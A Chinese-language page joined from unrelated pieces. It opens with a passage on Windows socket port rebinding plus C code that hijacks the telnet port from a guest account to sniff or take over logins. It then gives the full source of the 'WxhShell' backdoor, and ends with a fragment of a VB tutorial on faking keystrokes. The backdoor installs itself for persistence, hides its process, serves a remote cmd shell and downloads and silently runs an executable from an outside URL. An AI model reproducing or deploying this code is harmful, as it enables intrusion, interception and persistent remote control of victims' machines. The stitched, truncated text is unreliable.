　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER     100  // 最大客户端连接数
#define BUF_SOCK     200  // sock buffer
#define KEY_BUFF     255  // 输入 buffer

#define REBOOT       0    // 重启
#define SHUTDOWN     1    // 关机
 
#define DEF_PORT     5000 // 监听端口

#define REG_LEN      16   // 注册表键长度
#define SVC_LEN      80   // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG  (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL  (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
    int  ws_port;             // 监听端口
    char ws_passstr[REG_LEN]; // 口令
    int  ws_autoins;          // 安装标记, 1=yes 0=no
    char ws_regname[REG_LEN]; // 注册表键名
    char ws_svcname[REG_LEN]; // 服务名
    char ws_svcdisp[SVC_LEN]; // 服务显示名
    char ws_svcdesc[SVC_LEN]; // 服务描述信息
    char ws_passmsg[SVC_LEN]; // 密码输入提示信息
 int  ws_downexe;          // 下载执行标记, 1=yes 0=no
 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
 char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
        "xuhuanlingzhe",
        1,
        "Wxhshell",
        "Wxhshell",
                    "WxhShell Service",
        "Wrsky Windows CmdShell Service",
        "Please Input Your Password: ",
     1,
     "http://www.wrsky.com/wxhshell.exe",
     "Wxhshell.exe"
       };

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS          serviceStatus;
SERVICE_STATUS_HANDLE   hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
 {wscfg.ws_svcname, NTServiceMain},
 {NULL, NULL}
};

// 自我安装
int Install(void)
{
    char svExeFile[MAX_PATH];
    HKEY key;
    strcpy(svExeFile,ExeFile);

 // 如果是win9x系统，修改注册表设为自启动
 if(!OsIsNt) {
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
    RegCloseKey(key);
    return 0;
      }
     }
 }
 else {

  // 如果是NT以上系统，安装为系统服务
  SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
  if (schSCManager!=0)
  {
   SC_HANDLE schService = CreateService
   (
    schSCManager,
    wscfg.ws_svcname,
    wscfg.ws_svcdisp,
    SERVICE_ALL_ACCESS,
    SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
    SERVICE_AUTO_START,
    SERVICE_ERROR_NORMAL,
    svExeFile,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
   );
   if (schService!=0)
   {
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
    strcat(svExeFile,wscfg.ws_svcname);
    if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
     RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
     RegCloseKey(key);
     return 0;
       }
   }
   CloseServiceHandle(schSCManager);
  }
 }

 return 1;
}

// 自我卸载
int Uninstall(void)
{
    HKEY key;

 if(!OsIsNt) {
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegDeleteValue(key,wscfg.ws_regname);
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegDeleteValue(key,wscfg.ws_regname);
    RegCloseKey(key);
    return 0;
   }
  }
 }
 else {

  SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
  if (schSCManager!=0)
  {
   SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
   if (schService!=0)
   {
    if(DeleteService(schService)!=0) {
     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);
     return 0;
    }
    CloseServiceHandle(schService);
   }
   CloseServiceHandle(schSCManager);
  }
 }

 return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
    HRESULT hr;
 char seps[]= "/";
 char *token;
 char *file;
 char myURL[MAX_PATH];
 char myFILE[MAX_PATH];

 strcpy(myURL,sURL);
    token=strtok(myURL,seps);
   while(token!=NULL)
    {
        file=token;
     token=strtok(NULL,seps);
    }

 GetCurrentDirectory(MAX_PATH,myFILE);
 strcat(myFILE, "\\");
 strcat(myFILE, file);
    send(wsh,myFILE,strlen(myFILE),0);
 send(wsh,"...",3,0);
 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
    if(hr==S_OK)
  return 0;
 else
  return 1;

}

// 系统电源模块
int Boot(int flag)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    if(OsIsNt) {
     OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
  if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
    return 0;
  }
  else {
   if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
    return 0;
  }
    }
    else {
  if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
    return 0;
  }
  else {
   if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
    return 0;
  }
 }

 return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

    HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
    if ( hKernel != NULL )
    {
  pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
        ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
        FreeLibrary(hKernel);
    }

 return;
}

// 获取操作系统版本
int GetOsVer(void)
{
    OSVERSIONINFO winfo;
    winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&winfo);
    if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
     return 1;
    else
     return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
    SOCKET wsh;
    struct sockaddr_in client;
    DWORD myID;

    while(nUser<MAX_USER)
 {
     int nSize=sizeof(client);
        wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
     if(wsh==INVALID_SOCKET) return 1;

  handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
  if(handles[nUser]==0)
   closesocket(wsh);
  else
   nUser++;
    }
    WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

    return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
 closesocket(wsh);
 nUser--;
 ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

    SOCKET wsh=(SOCKET)cs;
    char pwd[SVC_LEN];
    char cmd[KEY_BUFF];
 char chr[1];
 int i,j;

    while (nUser < MAX_USER) {

  if(wscfg.ws_passstr) {
   if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
           //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
   //ZeroMemory(pwd,KEY_BUFF);
         i=0;
   while(i<SVC_LEN) {

    // 设置超时
    fd_set FdRead;
    struct timeval TimeOut;
    FD_ZERO(&FdRead);
    FD_SET(wsh,&FdRead);
    TimeOut.tv_sec=8;
    TimeOut.tv_usec=0;
    int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
    if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

    if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
    pwd[i]=chr[0];
    if(chr[0]==0xd || chr[0]==0xa) {
     pwd[i]=0;
     break;
    }
    i++;
      }

   // 如果是非法用户，关闭 socket
            if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
  }

  send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
     send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);

  while(1) {

   ZeroMemory(cmd,KEY_BUFF);

         // 自动支持客户端 telnet标准   
   j=0;
   while(j<KEY_BUFF) {
    if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
    cmd[j]=chr[0];
    if(chr[0]==0xa || chr[0]==0xd) {
     cmd[j]=0;
     break;
    }
    j++;
      }

   // 下载文件
   if(strstr(cmd,"http://")) {
    send(wsh,msg_ws_down,strlen(msg_ws_down),0);
    if(DownloadFile(cmd,wsh))
     send(wsh,msg_ws_err,strlen(msg_ws_err),0);
    else
     send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
   }
   else {

       switch(cmd[0]) {
     
     // 帮助
     case '?': {
           send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
      break;
     }
     // 安装
     case 'i': {
      if(Install())
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else
       send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
      break;
        }
     // 卸载
     case 'r': {
      if(Uninstall())
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else
       send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
      break;
        }
     // 显示 wxhshell 所在路径
     case 'p': {
      char svExeFile[MAX_PATH];
      strcpy(svExeFile,"\n\r");
         strcat(svExeFile,ExeFile);
            send(wsh,svExeFile,strlen(svExeFile),0);
      break;
        }
     // 重启
     case 'b': {
      send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
      if(Boot(REBOOT))
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else {
       closesocket(wsh);
       ExitThread(0);
      }
      break;
        }
     // 关机
     case 'd': {
      send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
      if(Boot(SHUTDOWN))
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else {
       closesocket(wsh);
       ExitThread(0);
      }
      break;
        }
     // 获取shell
     case 's': {
      CmdShell(wsh);
      closesocket(wsh);
      ExitThread(0);
      break;
     }
     // 退出
     case 'x': {
      send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
      CloseIt(wsh);
      break;
        }
     // 离开
     case 'q': {
      send(wsh,msg_ws_end,strlen(msg_ws_end),0);
      closesocket(wsh);
      WSACleanup();
      exit(1);
      break;
              }
    }
   }

   // 提示信息
      if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
  }
    }

    return;
}

// shell模块句柄
int CmdShell(SOCKET  sock)
{
 STARTUPINFO si;
 ZeroMemory(&si,sizeof(si));
 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
 PROCESS_INFORMATION ProcessInfo;
 char cmdline[]="cmd";
 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
    return 0;
}

// 自身启动模式
int StartFromService(void)
{
 typedef struct
 {
     DWORD ExitStatus;
     DWORD PebBaseAddress;
     DWORD AffinityMask;
     DWORD BasePriority;
     ULONG UniqueProcessId;
     ULONG InheritedFromUniqueProcessId;
 }   PROCESS_BASIC_INFORMATION;

 PROCNTQSIP NtQueryInformationProcess;

 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;

    HANDLE                    hProcess;
    PROCESS_BASIC_INFORMATION pbi;

    HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
    if(NULL == hInst ) return 0;

    g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
    g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
    NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");

    if (!NtQueryInformationProcess) return 0;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
    if(!hProcess)  return 0;

    if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;

    CloseHandle(hProcess);

 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
 if(hProcess==NULL) return 0;

 HMODULE hMod;
 char procName[255];
 unsigned long cbNeeded;

 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));

    CloseHandle(hProcess);

 if(strstr(procName,"services")) return 1; // 以服务启动

    return 0; // 注册表启动
}

// 主模块
int StartWxhshell(LPSTR lpCmdLine)
{
    SOCKET wsl;
 BOOL val=TRUE;
    int port=0;
    struct sockaddr_in door;

    if(wscfg.ws_autoins) Install();

 port=atoi(lpCmdLine);

 if(port<=0) port=wscfg.ws_port;

    WSADATA data;
    if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;

    if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
    door.sin_family = AF_INET;
    door.sin_addr.s_addr = inet_addr("127.0.0.1");
    door.sin_port = htons(port);

    if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
  closesocket(wsl);
  return 1;
 }

    if(listen(wsl,2) == INVALID_SOCKET) {
  closesocket(wsl);
  return 1;
 }
    Wxhshell(wsl);
    WSACleanup();

 return 0;

}

// 以NT服务方式启动
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
 DWORD   status = 0;
    DWORD   specificError = 0xfffffff;

    serviceStatus.dwServiceType        = SERVICE_WIN32;
    serviceStatus.dwCurrentState       = SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
    serviceStatus.dwWin32ExitCode      = 0;
    serviceStatus.dwServiceSpecificExitCode = 0;
    serviceStatus.dwCheckPoint         = 0;
    serviceStatus.dwWaitHint           = 0;

    hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
    if (hServiceStatusHandle==0) return;

 status = GetLastError();
    if (status!=NO_ERROR)
 {
        serviceStatus.dwCurrentState       = SERVICE_STOPPED;
        serviceStatus.dwCheckPoint         = 0;
        serviceStatus.dwWaitHint           = 0;
        serviceStatus.dwWin32ExitCode      = status;
        serviceStatus.dwServiceSpecificExitCode = specificError;
        SetServiceStatus(hServiceStatusHandle, &serviceStatus);
        return;
    }

    serviceStatus.dwCurrentState       = SERVICE_RUNNING;
    serviceStatus.dwCheckPoint         = 0;
    serviceStatus.dwWaitHint           = 0;
    if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
}

// 处理NT服务事件，比如：启动、停止
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
 switch(fdwControl)
 {
  case SERVICE_CONTROL_STOP:
   serviceStatus.dwWin32ExitCode = 0;
   serviceStatus.dwCurrentState  = SERVICE_STOPPED;
   serviceStatus.dwCheckPoint    = 0;
   serviceStatus.dwWaitHint      = 0;
   {
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);
   }
   return;
  case SERVICE_CONTROL_PAUSE:
   serviceStatus.dwCurrentState = SERVICE_PAUSED;
   break;
  case SERVICE_CONTROL_CONTINUE:
   serviceStatus.dwCurrentState = SERVICE_RUNNING;
   break;
  case SERVICE_CONTROL_INTERROGATE:
   break;
 };
    SetServiceStatus(hServiceStatusHandle,  &serviceStatus);
}

// 标准应用程序主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

 // 获取操作系统版本
 OsIsNt=GetOsVer();
 GetModuleFileName(NULL,ExeFile,MAX_PATH);

    // 从命令行安装
    if(strpbrk(lpCmdLine,"iI")) Install();

    // 下载执行文件
 if(wscfg.ws_downexe) {
  if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
   WinExec(wscfg.ws_filenam,SW_HIDE);
 }

 if(!OsIsNt) {
  // 如果时win9x，隐藏进程并且设置为注册表启动
  HideProc();  
  StartWxhshell(lpCmdLine);
 }
 else
     if(StartFromService())
   // 以服务方式启动
   StartServiceCtrlDispatcher(DispatchTable);
  else
   // 普通方式启动
   StartWxhshell(lpCmdLine);

 return 0;
}

1.局部级模拟

    从上面的流程可以看出，键盘事件是最终被送到活动窗口，然后才引起目标程序响应的。那么最直接的模拟方法就是：直接伪造一个键盘消息发给目标程序。哈哈，这实在是很简单，windows提供了几个这样的API函数可以实现直接向目标程序发送消息的功能，常用的有SendMessage和PostMessage，它们的区别是PostMessage函数直接把消息仍给目标程序就不管了，而SendMessage把消息发出去后，还要等待目标程序返回些什么东西才好。这里要注意的是，模拟键盘消息一定要用PostMessage函数才好，用SendMessage是不正确的(因为模拟键盘消息是不需要返回值的，不然目标程序会没反应)，切记切记！PostMessage函数的VB声明如下：
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
参数hwnd 是你要发送消息的目标程序上某个控件的句柄，参数wMsg 是消息的类型，表示你要发送什么样的消息，最后wParam 和lParam 这两个参数是随消息附加的数据，具体内容要由消息决定。
再来看看wMsg 这个参数，要模拟按键就靠这个了。键盘消息常用的有如下几个：
WM_KEYDOWN     表示一个普通键被按下
WM_KEYUP       表示一个普通键被释放
WM_SYSKEYDOWN  表示一个系统键被按下，比如Alt键
WM_SYSKEYUP    表示一个系统键被释放，比如Alt键
如果你确定要发送以上几个键盘消息，那么再来看看如何确定键盘消息中的wParam 和lParam 这两个参数。在一个键盘消息中，wParam 参数的含义较简单，它表示你要发送的键盘事件的按键虚拟码，比如你要对目标程序模拟按下A键，那么wParam 参数的值就设为VK_A ,至于lParam 这个参数就比较复杂了，因为它包含了多个信息，一般可以把它设为0，但是如果你想要你的模拟更真实一些，那么建议你还是设置一下这个参数。那么我们就详细了解一下lParam 吧。lParam 是一个long类型的参数，它在内存中占4个字节，写成二进制就是00000000 00000000 00000000 00000000  一共是32位，我们从右向左数，假设最右边那位为第0位(注意是从0而不是从1开始计数)，最左边的就是第31位，那么该参数的的0-15位表示键的发送次数等扩展信息，16-23位为按键的扫描码，24-31位表示是按下键还是释放键。大家一般习惯写成16进制的，那么就应该是&H00 00 00 00 ，第0-15位一般为&H0001，如果是按下键，那么24-31位为&H00，释放键则为&HC0,那么16-23位的扫描码怎么会得呢？这需要用到一个API函数MapVirtualKey，这个函数可以将虚拟码转换为扫描码，或将扫描码转换为虚拟码，还可以把虚拟码转换为对应字符的ASCII码。它的VB声明如下：
Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
参数wCode 表示待转换的码，参数wMapType 表示从什么转换为什么，如果是虚拟码转扫描码，则wMapType 设置为0，如果是虚拟扫描码转虚拟码，则wMapType 设置为1，如果是虚拟码转ASCII码，则wMapType 设置为2.相信有了这些，我们就可以构造键盘事件的lParam参数了。下面给出一个构造lParam参数的函数：
Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long

Function MakeKeyLparam(ByVal VirtualKey As Long, ByVal flag As Long) As Long
'参数VirtualKey表示按键虚拟码,flag表示是按下键还是释放键，用WM_KEYDOWN和WM_KEYUP这两个常数表示
    Dim s As String
    Dim Firstbyte As String    'lparam参数的24-31位
    If flag = WM_KEYDOWN  Then '如果是按下键
        Firstbyte = "00"
    Else
        Firstbyte = "C0"       '如果是释放键
    End If
    Dim Scancode As Long
    '获得键的扫描码
    Scancode = MapVirtualKey(VirtualKey, 0)
    Dim Secondbyte As String   'lparam参数的16-23位，即虚拟键扫描码
    Secondbyte = Right("00" & Hex(Scancode), 2)
    s = Firstbyte & Secondbyte & "0001"  '0001为lparam参数的0-15位，即发送次数和其它扩展信息
    MakeKeyLparam = Val("&H" & s)
End Function

这个函数像这样调用，比如按下A键，那么lParam=MakeKeyLparam(VK_A,WM_KEYDOWN) ，很简单吧。值得注意的是，即使你发送消息时设置了lParam参数的值，但是系统在传递消息时仍然可能会根据当时的情况重新设置该参数，那么目标程序收到的消息中lParam的值可能会和你发送时的有所不同。所以，如果你很懒的话，还是直接把它设为0吧，对大多数程序不会有影响的，呵呵。
    好了，做完以上的事情，现在我们可以向目标程序发送键盘消息了。首先取得目标程序接受这个消息的控件的句柄，比如目标句柄是12345，那么我们来对目标模拟按下并释放A键，像这样：(为了简单起见，lParam这个参数就不构造了，直接传0)
PostMessage 12345，WM_KEYDOWN，VK_A，0&   '按下A键
PostMessage 12345，WM_UP，VK_A，0&        '释放A键
